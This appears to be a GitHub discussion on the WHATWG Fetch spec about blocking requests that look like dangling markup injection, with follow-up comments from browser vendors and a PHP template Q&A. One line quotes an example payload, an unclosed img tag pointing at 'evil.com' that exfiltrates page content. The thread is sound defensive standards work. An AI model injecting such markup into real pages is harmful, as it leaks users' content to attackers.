fetch
fetch copied to clipboard
whatwg
Block requests for suspected dangling markup.
As a mitigation against dangling markup attacks (which inject open tags like
<img src='https://evil.com/ that eat up subsequent markup, and exfiltrate
content to an attacker), this patch tightens request processing to reject
those that contain a < character (consistent with an HTML element), and
had newline characters stripped during URL parsing (see whatwg/url#284).
It might be possible to URLs whose newline characters were stripped entirely, based on initial metrics. If those pan out the way I hope, we can tighten this up in the future.
It feels a bit hacky to have unexplained checks like this in Fetch, but I'm not sure there's a better spot. WDYT?
/cc Random sampling of folks who come to mind for opinions from other vendors: @valenting, @dveditz, @youennf, @johnwilander, @travisleithead, @mcmanus
https://groups.google.com/a/chromium.org/forum/#!msg/blink-dev/rOs6YRyBEpw/D3pzVwGJAgAJ spells out the justification a little more clearly. If folks don't fundamentally object, this is something I plan to try out in Chrome: relevant metrics show ~0.0006% of page views (https://www.chromestatus.com/metrics/feature/timeline/popularity/1770).
If we could get rid of the newline scan entirely by rejecting URLs with those characters outright, I'd be even happier. Chrome's initial metrics are high (https://www.chromestatus.com/metrics/feature/timeline/popularity/1768), but they're also wrong because a) I forgot to initialize the URL's "was whitespace removed?" flag, so it's sometimes randomly true (sigh), b) they're counting all URL completions, and not just those that result in requests. So I'm still hopeful, despite the ~0.02% it shows at the moment.
(Blink-only tests at https://cs.chromium.org/chromium/src/third_party/WebKit/LayoutTests/http/tests/security/dangling-markup/src-attribute.html. I'll upstream those to WPT if folks aren't opposed to the notion.)
Merged in the last few ~2 months of changes, and updated on top of a new flag in URL.
Fixed the extra and, and move to the one-flag proposal in the latest version of the URL patch.
Will it block like in PHP:
a. <h3><?php echo _relogios ?></h3>?
b. <img alt="<?php echo _fabrica ?>" src="images/fabrica.jpg"?
b. <a class="navbar-brand" href="index.php?hl=<?php echo $html_language ?>#page-top">?
With the overarching caveat that you ought to ensure that you're properly escaping variables before dumping them into HTML:
-
Assuming that
_relogiosis just plain text, then<h3><?php echo _relogios ?></h3>won't cause a request, so nothing will be blocked. -
Assuming that
_fabricais just plain text, then<img alt="<?php echo _fabrica ?>" src="images/fabrica.jpg">does not populate thesrcfield, and doesn't change the resource that's being loaded. -
Navigation caused by
<a class="navbar-brand" href="index.php?hl=<?php echo $html_language ?>#page-top">would potentially be blocked if$html_languagecontained a removable whitespace character (\n,\r,\t) and an opening brace (<).
@annevk: The first pass at this is shipping through Chrome beta right now, and Firefox folks have expressed pretty clear interest (https://bugzilla.mozilla.org/show_bug.cgi?id=1369029). When my life is somewhat less chaotic, I'd like to get back to hammering out a way to get this well-defined without upsetting Apple.
I know it has been awhile, but is there any chance of revisiting this? Strictly speaking, if fenced frames were to follow the spec we'd be vulnerable to the dangling markup attacks that Chrome has since mitigated against for other kinds of requests. With that, I think we'll stop fenced frame navigations when the src attribute contains dangling markup, but I'd feel less bad about implementing this (and adding web platform tests for this) if the spec accounted for this behavior too.
I think there is still interest in this, but it needs to be done in a way that doesn't require modifying the URL parser: https://github.com/whatwg/url/pull/284#issuecomment-304087641.